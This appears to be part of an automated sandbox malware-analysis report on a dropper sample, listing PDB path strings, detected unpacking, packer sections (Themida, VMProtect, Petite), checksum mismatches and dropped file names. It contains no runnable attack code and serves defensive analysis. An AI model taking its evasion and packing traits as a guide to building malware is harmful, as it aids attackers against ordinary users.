Source:	Binary string: c:\Users\Admin\documents\visual studio 2015\Projects\Winmon\x64\Release\Winmon.pdb source: C1FD.exe, 00000011.00000003.2160333190.0000000003AE2000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2213490486.00000000031F3000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000002.4114001709.00000000031F3000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003AE2000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.0000000003413000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003D02000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: Drive not readyThis error indicates a .pdb file related failure. source: C1FD.exe, 00000011.00000003.2160333190.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 00000011.00000002.2213490486.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4114001709.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.000000000369C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003F8B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\mayuhayihoh 93\toha3\mozotalofe\xaguwoci 16\xotuw.pdb source: AF9D.exe, 00000010.00000002.2159925115.0000000000428000.00000002.00000001.01000000.0000000E.sdmp, AF9D.exe, 00000010.00000000.2102075728.0000000000428000.00000002.00000001.01000000.0000000E.sdmp, cwischf, 00000030.00000000.2365833348.0000000000428000.00000002.00000001.01000000.00000018.sdmp, cwischf, 00000030.00000002.2424049185.0000000000428000.00000002.00000001.01000000.00000018.sdmp
Source:	Binary string: Error while loading symbolsUnable to locate the .pdb file in any of the symbol search source: C1FD.exe, 00000011.00000003.2160333190.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 00000011.00000002.2213490486.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4114001709.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.000000000369C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003F8B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: zzz_AsmCodeRange_*FrameDatainvalid string positionstring too long.pdb source: C1FD.exe, 00000011.00000003.2160333190.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 00000011.00000002.2213490486.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4114001709.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.000000000369C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003F8B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: Pdb read access deniedYou may be attempting to access a .pdb file with read-only attributes source: C1FD.exe, 00000011.00000003.2160333190.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 00000011.00000002.2213490486.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4114001709.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.000000000369C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003F8B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: Unable to locate the .pdb file in this location source: C1FD.exe, 00000011.00000003.2160333190.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 00000011.00000002.2213490486.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4114001709.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.000000000369C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003F8B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Admin\documents\visual studio 2015\Projects\WinmonFS\x64\Release\WinmonFS.pdb source: C1FD.exe, 00000011.00000003.2160333190.0000000003AE2000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2213490486.00000000031F3000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000002.4114001709.00000000031F3000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003AE2000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.0000000003413000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003D02000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: The module signature does not match with .pdb signature. source: C1FD.exe, 00000011.00000003.2160333190.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 00000011.00000002.2213490486.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4114001709.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.000000000369C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003F8B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: .pdb.dbg source: C1FD.exe, 00000011.00000003.2160333190.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 00000011.00000002.2213490486.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4114001709.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.000000000369C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003F8B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: '(EfiGuardDxe.pdbx source: C1FD.exe, 00000011.00000003.2160333190.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 00000011.00000002.2213490486.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4114001709.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.000000000369C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003F8B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: symsrv.pdbGCTL source: C1FD.exe, 00000011.00000003.2160333190.0000000003F18000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2213490486.0000000003629000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000C7A000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000002.4114001709.0000000003629000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003F18000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000C7A000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000C7A000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000004138000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4113654029.0000000003849000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\admin\source\repos\driver-process-monitor-master\Release\WinmonProcessMonitor.pdb source: C1FD.exe, 00000011.00000003.2160333190.0000000003AE2000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2213490486.00000000031F3000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000002.4114001709.00000000031F3000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003AE2000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.0000000003413000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003D02000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Admin\documents\visual studio 2015\Projects\WinmonFS\Release\WinmonFS.pdb source: C1FD.exe, 00000011.00000003.2160333190.0000000003AE2000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2213490486.00000000031F3000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000002.4114001709.00000000031F3000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003AE2000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.0000000003413000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003D02000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: cC:\nuzo\jagivuculevex.pdb source: NBHEkIKDCr.exe
Source:	Binary string: or you do not have access permission to the .pdb location. source: C1FD.exe, 00000011.00000003.2160333190.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 00000011.00000002.2213490486.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4114001709.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.000000000369C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003F8B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: 0C:\mayuhayihoh 93\toha3\mozotalofe\xaguwoci 16\xotuw.pdb source: AF9D.exe, 00000010.00000002.2159925115.0000000000428000.00000002.00000001.01000000.0000000E.sdmp, AF9D.exe, 00000010.00000000.2102075728.0000000000428000.00000002.00000001.01000000.0000000E.sdmp, cwischf, 00000030.00000000.2365833348.0000000000428000.00000002.00000001.01000000.00000018.sdmp, cwischf, 00000030.00000002.2424049185.0000000000428000.00000002.00000001.01000000.00000018.sdmp
Source:	Binary string: An Exception happened while downloading the module .pdbPlease open a bug if this is a consistent repro. source: C1FD.exe, 00000011.00000003.2160333190.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 00000011.00000002.2213490486.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4114001709.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.000000000369C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003F8B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\admin\source\repos\driver-process-monitor-master\x64\Release\WinmonProcessMonitor.pdb source: C1FD.exe, 00000011.00000003.2160333190.0000000003AE2000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2213490486.00000000031F3000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000002.4114001709.00000000031F3000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003AE2000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.0000000003413000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003D02000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: EfiGuardDxe.pdb source: C1FD.exe, 00000011.00000003.2160333190.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 00000011.00000002.2213490486.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4114001709.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.000000000369C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003F8B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\fulesolaji zilifiy30.pdb source: 933A.exe, 0000000D.00000000.2029757093.0000000000454000.00000002.00000001.01000000.0000000B.sdmp, 933A.exe, 0000000D.00000003.2356782535.0000000000CB2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Signature does not matchThe module signature does not match with .pdb signature source: C1FD.exe, 00000011.00000003.2160333190.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 00000011.00000002.2213490486.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4114001709.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.000000000369C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003F8B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: dbghelp.pdb source: C1FD.exe, 00000011.00000003.2160333190.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 00000011.00000002.2213490486.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4114001709.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.000000000369C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003F8B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: dbghelp.pdbGCTL source: C1FD.exe, 00000011.00000003.2160333190.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 00000011.00000002.2213490486.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4114001709.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.000000000369C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003F8B000.00000004.00001000.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\NBHEkIKDCr.exe	Unpacked PE file: 0.2.NBHEkIKDCr.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Roaming\faischf	Unpacked PE file: 3.2.faischf.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Unpacked PE file: 12.2.8FEE.exe.a60000.0.unpack :ER; :R; :R;.idata:W;.rsrc:R;.themida:EW;.boot:ER; vs :ER; :R; :R;
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Unpacked PE file: 13.2.933A.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\AF9D.exe	Unpacked PE file: 16.2.AF9D.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Local\Temp\C1FD.exe	Unpacked PE file: 17.2.C1FD.exe.400000.7.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.idata:W;.reloc:R;.symtab:R;
Source: C:\Users\user\AppData\Local\Temp\C1FD.exe	Unpacked PE file: 27.2.C1FD.exe.400000.5.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.idata:W;.reloc:R;.symtab:R;
Source: C:\Program Files (x86)\PRingTone\PRingTone.exe	Unpacked PE file: 39.2.PRingTone.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R;.ncell:EW; vs .text:ER;.rdata:R;.data:W;.vmp0:ER;.rsrc:R;
Source: C:\Program Files (x86)\PRingTone\PRingTone.exe	Unpacked PE file: 42.2.PRingTone.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R;.ncell:EW; vs .text:ER;.rdata:R;.data:W;.vmp0:ER;.rsrc:R;
Source: C:\Users\user\AppData\Local\Temp\C1FD.exe	Unpacked PE file: 45.2.C1FD.exe.400000.3.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.idata:W;.reloc:R;.symtab:R;
Source: C:\Users\user\AppData\Roaming\cwischf	Unpacked PE file: 48.2.cwischf.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\Temp\933A.exe	Unpacked PE file: 13.2.933A.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\C1FD.exe	Unpacked PE file: 17.2.C1FD.exe.400000.7.unpack
Source: C:\Users\user\AppData\Local\Temp\C1FD.exe	Unpacked PE file: 27.2.C1FD.exe.400000.5.unpack
Source: C:\Program Files (x86)\PRingTone\PRingTone.exe	Unpacked PE file: 39.2.PRingTone.exe.400000.0.unpack
Source: C:\Program Files (x86)\PRingTone\PRingTone.exe	Unpacked PE file: 42.2.PRingTone.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\C1FD.exe	Unpacked PE file: 45.2.C1FD.exe.400000.3.unpack

Source: 8FEE.exe.1.dr

Static PE information: 0x8876A691 [Sun Jul 20 13:54:25 2042 UTC]

Source: C:\Users\user\AppData\Local\Temp\76D5.exe

Code function: 7_2_0069D030 LoadLibraryA,GetProcAddress,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,

7_2_0069D030

Source: initial sample

Static PE information: section where entry point is pointing to: .boot

Source: is-J6G3I.tmp.34.dr	Static PE information: real checksum: 0x0 should be: 0x31782
Source: D5C5.tmp.33.dr	Static PE information: real checksum: 0x0 should be: 0xb0a52
Source: is-CNQNP.tmp.34.dr	Static PE information: real checksum: 0x0 should be: 0x204aa
Source: is-UQIIU.tmp.34.dr	Static PE information: real checksum: 0x0 should be: 0x1fec7
Source: is-8IR3C.tmp.34.dr	Static PE information: real checksum: 0x0 should be: 0x10609
Source: is-VBAIR.tmp.34.dr	Static PE information: real checksum: 0x0 should be: 0x2e339
Source: 826E.exe.1.dr	Static PE information: real checksum: 0xad899 should be: 0xa2fdb
Source: 87A0.dll.1.dr	Static PE information: real checksum: 0x0 should be: 0x20977c
Source: is-72EEK.tmp.34.dr	Static PE information: real checksum: 0x0 should be: 0xc1c38
Source: is-4ABIC.tmp.34.dr	Static PE information: real checksum: 0x0 should be: 0x4ac84
Source: C1FD.exe.1.dr	Static PE information: real checksum: 0x433cc1 should be: 0x43b2d0
Source: is-PLOP5.tmp.34.dr	Static PE information: real checksum: 0x0 should be: 0x5060
Source: D5C5.tmp.26.dr	Static PE information: real checksum: 0x0 should be: 0xb0a52
Source: is-N8411.tmp.34.dr	Static PE information: real checksum: 0x0 should be: 0x127ab
Source: is-R69AB.tmp.34.dr	Static PE information: real checksum: 0x0 should be: 0x346e7
Source: is-69QGT.tmp.34.dr	Static PE information: real checksum: 0x0 should be: 0xf050f
Source: _setup64.tmp.34.dr	Static PE information: real checksum: 0x0 should be: 0x8546
Source: is-TTVKI.tmp.34.dr	Static PE information: real checksum: 0x0 should be: 0xc979
Source: is-6F22E.tmp.34.dr	Static PE information: real checksum: 0x0 should be: 0x7c1a
Source: _RegDLL.tmp.34.dr	Static PE information: real checksum: 0x0 should be: 0xc2b7
Source: is-H0LN9.tmp.34.dr	Static PE information: real checksum: 0x0 should be: 0x1f2f4
Source: is-TQ7HB.tmp.34.dr	Static PE information: real checksum: 0x0 should be: 0x60b0b
Source: _isdecmp.dll.34.dr	Static PE information: real checksum: 0x0 should be: 0x123ff
Source: is-G4SU6.tmp.34.dr	Static PE information: real checksum: 0x0 should be: 0xb1b5d
Source: _iscrypt.dll.34.dr	Static PE information: real checksum: 0x0 should be: 0x89d2
Source: is-B6G1A.tmp.34.dr	Static PE information: real checksum: 0x0 should be: 0x22a56
Source: is-MC07M.tmp.34.dr	Static PE information: real checksum: 0x0 should be: 0xb5c3
Source: is-NFO0I.tmp.34.dr	Static PE information: real checksum: 0x0 should be: 0x17d41
Source: is-TL5BN.tmp.34.dr	Static PE information: real checksum: 0x0 should be: 0x6b1f
Source: D5C5.exe.1.dr	Static PE information: real checksum: 0x0 should be: 0x6974da
Source: is-CJTE7.tmp.34.dr	Static PE information: real checksum: 0x0 should be: 0xadc6
Source: is-656IU.tmp.34.dr	Static PE information: real checksum: 0x0 should be: 0x5dc2c
Source: is-7BFJI.tmp.34.dr	Static PE information: real checksum: 0x0 should be: 0xcf45

Source: 87A0.dll.1.dr	Static PE information: section name: .code
Source: 8FEE.exe.1.dr	Static PE information: section name:
Source: 8FEE.exe.1.dr	Static PE information: section name:
Source: 8FEE.exe.1.dr	Static PE information: section name:
Source: 8FEE.exe.1.dr	Static PE information: section name: .themida
Source: 8FEE.exe.1.dr	Static PE information: section name: .boot
Source: 826E.exe.1.dr	Static PE information: section name: .murtuv
Source: PRingTone.exe.34.dr	Static PE information: section name: .ncell
Source: is-U5C20.tmp.34.dr	Static PE information: section name: /4
Source: is-656IU.tmp.34.dr	Static PE information: section name: .sxdata
Source: is-72EEK.tmp.34.dr	Static PE information: section name: .didata
Source: is-UQIIU.tmp.34.dr	Static PE information: section name:
Source: is-UQIIU.tmp.34.dr	Static PE information: section name:
Source: is-UQIIU.tmp.34.dr	Static PE information: section name: petite
Source: is-VBAIR.tmp.34.dr	Static PE information: section name:
Source: is-VBAIR.tmp.34.dr	Static PE information: section name:
Source: is-VBAIR.tmp.34.dr	Static PE information: section name: petite
Source: is-TL5BN.tmp.34.dr	Static PE information: section name:
Source: is-TL5BN.tmp.34.dr	Static PE information: section name:
Source: is-TL5BN.tmp.34.dr	Static PE information: section name: petite
Source: is-FM16A.tmp.34.dr	Static PE information: section name:
Source: is-FM16A.tmp.34.dr	Static PE information: section name: petite
Source: is-6F22E.tmp.34.dr	Static PE information: section name:
Source: is-6F22E.tmp.34.dr	Static PE information: section name:
Source: is-6F22E.tmp.34.dr	Static PE information: section name: petite
